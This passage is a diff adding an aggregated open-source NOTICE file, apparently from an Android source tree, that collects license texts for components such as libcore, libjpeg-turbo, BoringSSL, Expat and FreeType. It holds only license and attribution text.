+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+======================================================================
+hardware/libhardware_legacy/NOTICE
+hardware/libhardware/NOTICE
+libnativehelper/NOTICE
+packages/providers/MediaProvider/NOTICE
+packages/services/Telephony/NOTICE
+system/tools/aidl/NOTICE
+
+
+   Copyright (c) 2005-2008, The Android Open Source Project
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+
+======================================================================
+libcore/NOTICE
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the Android-specific code.                        ==
+   =========================================================================
+
+Android Code
+Copyright 2005-2008 The Android Open Source Project
+
+This product includes software developed as part of
+The Android Open Source Project (http://source.android.com).
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the Apache Harmony distribution.                  ==
+   =========================================================================
+
+Apache Harmony
+Copyright 2006 The Apache Software Foundation
+
+This product includes software developed at
+The Apache Software Foundation (http://www.apache.org/).
+
+Portions of Harmony were originally developed by
+Intel Corporation and are licensed to the Apache Software
+Foundation under the "Software Grant and Corporate Contribution
+License Agreement", informally known as the "Intel Harmony CLA".
+
+
+   =========================================================================
+   ==  NOTICE file for the ICU License.                                   ==
+   =========================================================================
+
+Copyright (c) 1995-2014 International Business Machines Corporation and others
+
+All rights reserved.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, and/or sell copies of the Software, and to permit persons
+to whom the Software is furnished to do so, provided that the above
+copyright notice(s) and this permission notice appear in all copies of
+the Software and that both the above copyright notice(s) and this
+permission notice appear in supporting documentation.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
+OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
+HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY
+SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER
+RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
+CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder
+shall not be used in advertising or otherwise to promote the sale, use
+or other dealings in this Software without prior written authorization
+of the copyright holder.
+
+All trademarks and registered trademarks mentioned herein are the
+property of their respective owners.
+
+
+   =========================================================================
+   ==  NOTICE file for the KXML License.                                  ==
+   =========================================================================
+
+Copyright (c) 2002,2003, Stefan Haustein, Oberhausen, Rhld., Germany
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+
+   =========================================================================
+   ==  NOTICE file for the W3C License.                                   ==
+   =========================================================================
+
+Copyright (c) 2000 World Wide Web Consortium, (Massachusetts Institute
+of Technology, Institut National de Recherche en Informatique et en
+Automatique, Keio University). All Rights Reserved. This program is
+distributed under the W3C's Software Intellectual Property License.
+This program is distributed in the hope that it will be useful, but
+WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+See W3C License http://www.w3.org/Consortium/Legal/ for more details.
+
+   =========================================================================
+   ==  NOTICE file for the fdlibm License.                                   ==
+   =========================================================================
+
+Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
+
+Developed at SunSoft, a Sun Microsystems, Inc. business.
+Permission to use, copy, modify, and distribute this
+software is freely granted, provided that this notice
+is preserved.
+
+======================================================================
+external/libjpeg-turbo/NOTICE
+
+libjpeg-turbo Licenses
+======================
+
+libjpeg-turbo is covered by three compatible BSD-style open source licenses:
+
+- The IJG (Independent JPEG Group) License, which is listed in
+  [README.ijg](README.ijg)
+
+  This license applies to the libjpeg API library and associated programs
+  (any code inherited from libjpeg, and any modifications to that code.)
+
+- The Modified (3-clause) BSD License, which is listed below
+
+  This license covers the TurboJPEG API library and associated programs, as
+  well as the build system.
+
+- The [zlib License](https://opensource.org/licenses/Zlib)
+
+  This license is a subset of the other two, and it covers the libjpeg-turbo
+  SIMD extensions.
+
+
+Complying with the libjpeg-turbo Licenses
+=========================================
+
+This section provides a roll-up of the libjpeg-turbo licensing terms, to the
+best of our understanding.
+
+1.  If you are distributing a modified version of the libjpeg-turbo source,
+    then:
+
+    1.  You cannot alter or remove any existing copyright or license notices
+        from the source.
+
+        **Origin**
+        - Clause 1 of the IJG License
+        - Clause 1 of the Modified BSD License
+        - Clauses 1 and 3 of the zlib License
+
+    2.  You must add your own copyright notice to the header of each source
+        file you modified, so others can tell that you modified that file (if
+        there is not an existing copyright header in that file, then you can
+        simply add a notice stating that you modified the file.)
+
+        **Origin**
+        - Clause 1 of the IJG License
+        - Clause 2 of the zlib License
+
+    3.  You must include the IJG README file, and you must not alter any of the
+        copyright or license text in that file.
+
+        **Origin**
+        - Clause 1 of the IJG License
+
+2.  If you are distributing only libjpeg-turbo binaries without the source, or
+    if you are distributing an application that statically links with
+    libjpeg-turbo, then:
+
+    1.  Your product documentation must include a message stating:
+
+        This software is based in part on the work of the Independent JPEG
+        Group.
+
+        **Origin**
+        - Clause 2 of the IJG license
+
+    2.  If your binary distribution includes or uses the TurboJPEG API, then
+        your product documentation must include the text of the Modified BSD
+        License (see below.)
+
+        **Origin**
+        - Clause 2 of the Modified BSD License
+
+3.  You cannot use the name of the IJG or The libjpeg-turbo Project or the
+    contributors thereof in advertising, publicity, etc.
+
+    **Origin**
+    - IJG License
+    - Clause 3 of the Modified BSD License
+
+4.  The IJG and The libjpeg-turbo Project do not warrant libjpeg-turbo to be
+    free of defects, nor do we accept any liability for undesirable
+    consequences resulting from your use of the software.
+
+    **Origin**
+    - IJG License
+    - Modified BSD License
+    - zlib License
+
+
+The Modified (3-clause) BSD License
+===================================
+
+Copyright (C)2009-2021 D. R. Commander.  All Rights Reserved.<br>
+Copyright (C)2015 Viktor Szathmáry.  All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+- Redistributions of source code must retain the above copyright notice,
+  this list of conditions and the following disclaimer.
+- Redistributions in binary form must reproduce the above copyright notice,
+  this list of conditions and the following disclaimer in the documentation
+  and/or other materials provided with the distribution.
+- Neither the name of the libjpeg-turbo Project nor the names of its
+  contributors may be used to endorse or promote products derived from this
+  software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS",
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+
+
+Why Three Licenses?
+===================
+
+The zlib License could have been used instead of the Modified (3-clause) BSD
+License, and since the IJG License effectively subsumes the distribution
+conditions of the zlib License, this would have effectively placed
+libjpeg-turbo binary distributions under the IJG License.  However, the IJG
+License specifically refers to the Independent JPEG Group and does not extend
+attribution and endorsement protections to other entities.  Thus, it was
+desirable to choose a license that granted us the same protections for new code
+that were granted to the IJG for code derived from their software.
+
+======================================================================
+external/boringssl/NOTICE
+
+BoringSSL is a fork of OpenSSL. As such, large parts of it fall under OpenSSL
+licensing. Files that are completely new have a Google copyright and an ISC
+license. This license is reproduced at the bottom of this file.
+
+Contributors to BoringSSL are required to follow the CLA rules for Chromium:
+https://cla.developers.google.com/clas
+
+Files in third_party/ have their own licenses, as described therein. The MIT
+license, for third_party/fiat, which, unlike other third_party directories, is
+compiled into non-test libraries, is included below.
+
+The OpenSSL toolkit stays under a dual license, i.e. both the conditions of the
+OpenSSL License and the original SSLeay license apply to the toolkit. See below
+for the actual license texts. Actually both licenses are BSD-style Open Source
+licenses. In case of any license issues related to OpenSSL please contact
+openssl-core@openssl.org.
+
+The following are Google-internal bug numbers where explicit permission from
+some authors is recorded for use of their work. (This is purely for our own
+record keeping.)
+  27287199
+  27287880
+  27287883
+
+  OpenSSL License
+  ---------------
+
+/* ====================================================================
+ * Copyright (c) 1998-2011 The OpenSSL Project.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer. 
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in
+ *    the documentation and/or other materials provided with the
+ *    distribution.
+ *
+ * 3. All advertising materials mentioning features or use of this
+ *    software must display the following acknowledgment:
+ *    "This product includes software developed by the OpenSSL Project
+ *    for use in the OpenSSL Toolkit. (http://www.openssl.org/)"
+ *
+ * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to
+ *    endorse or promote products derived from this software without
+ *    prior written permission. For written permission, please contact
+ *    openssl-core@openssl.org.
+ *
+ * 5. Products derived from this software may not be called "OpenSSL"
+ *    nor may "OpenSSL" appear in their names without prior written
+ *    permission of the OpenSSL Project.
+ *
+ * 6. Redistributions of any form whatsoever must retain the following
+ *    acknowledgment:
+ *    "This product includes software developed by the OpenSSL Project
+ *    for use in the OpenSSL Toolkit (http://www.openssl.org/)"
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY
+ * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE OpenSSL PROJECT OR
+ * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+ * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+ * OF THE POSSIBILITY OF SUCH DAMAGE.
+ * ====================================================================
+ *
+ * This product includes cryptographic software written by Eric Young
+ * (eay@cryptsoft.com).  This product includes software written by Tim
+ * Hudson (tjh@cryptsoft.com).
+ *
+ */
+
+ Original SSLeay License
+ -----------------------
+
+/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com)
+ * All rights reserved.
+ *
+ * This package is an SSL implementation written
+ * by Eric Young (eay@cryptsoft.com).
+ * The implementation was written so as to conform with Netscapes SSL.
+ * 
+ * This library is free for commercial and non-commercial use as long as
+ * the following conditions are aheared to.  The following conditions
+ * apply to all code found in this distribution, be it the RC4, RSA,
+ * lhash, DES, etc., code; not just the SSL code.  The SSL documentation
+ * included with this distribution is covered by the same copyright terms
+ * except that the holder is Tim Hudson (tjh@cryptsoft.com).
+ * 
+ * Copyright remains Eric Young's, and as such any Copyright notices in
+ * the code are not to be removed.
+ * If this package is used in a product, Eric Young should be given attribution
+ * as the author of the parts of the library used.
+ * This can be in the form of a textual message at program startup or
+ * in documentation (online or textual) provided with the package.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ *    must display the following acknowledgement:
+ *    "This product includes cryptographic software written by
+ *     Eric Young (eay@cryptsoft.com)"
+ *    The word 'cryptographic' can be left out if the rouines from the library
+ *    being used are not cryptographic related :-).
+ * 4. If you include any Windows specific code (or a derivative thereof) from 
+ *    the apps directory (application code) you must include an acknowledgement:
+ *    "This product includes software written by Tim Hudson (tjh@cryptsoft.com)"
+ * 
+ * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ * 
+ * The licence and distribution terms for any publically available version or
+ * derivative of this code cannot be changed.  i.e. this code cannot simply be
+ * copied and put under another distribution licence
+ * [including the GNU Public Licence.]
+ */
+
+
+ISC license used for completely new code in BoringSSL:
+
+/* Copyright (c) 2015, Google Inc.
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
+ * SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+ * OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+ * CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */
+
+
+The code in third_party/fiat carries the MIT license:
+
+Copyright (c) 2015-2016 the fiat-crypto authors (see
+https://github.com/mit-plv/fiat-crypto/blob/master/AUTHORS).
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+
+Licenses for support code
+-------------------------
+
+Parts of the TLS test suite are under the Go license. This code is not included
+in BoringSSL (i.e. libcrypto and libssl) when compiled, however, so
+distributing code linked against BoringSSL does not trigger this license:
+
+Copyright (c) 2009 The Go Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+   * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+   * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+   * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+
+BoringSSL uses the Chromium test infrastructure to run a continuous build,
+trybots etc. The scripts which manage this, and the script for generating build
+metadata, are under the Chromium license. Distributing code linked against
+BoringSSL does not trigger this license.
+
+Copyright 2015 The Chromium Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+   * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+   * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+   * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/expat/LICENSE
+external/expat/NOTICE
+
+Copyright (c) 1998-2000 Thai Open Source Software Center Ltd and Clark Cooper
+Copyright (c) 2001-2019 Expat maintainers
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be included
+in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+======================================================================
+external/freetype/NOTICE
+
+This software is based in part on the work of the FreeType Team.
+
+----------------------
+
+                    The FreeType Project LICENSE
+                    ----------------------------
+
+                            2006-Jan-27
+
+                    Copyright 1996-2002, 2006 by
+          David Turner, Robert Wilhelm, and Werner Lemberg
+
+
+
+Introduction
+============
+
+  The FreeType  Project is distributed in  several archive packages;
+  some of them may contain, in addition to the FreeType font engine,
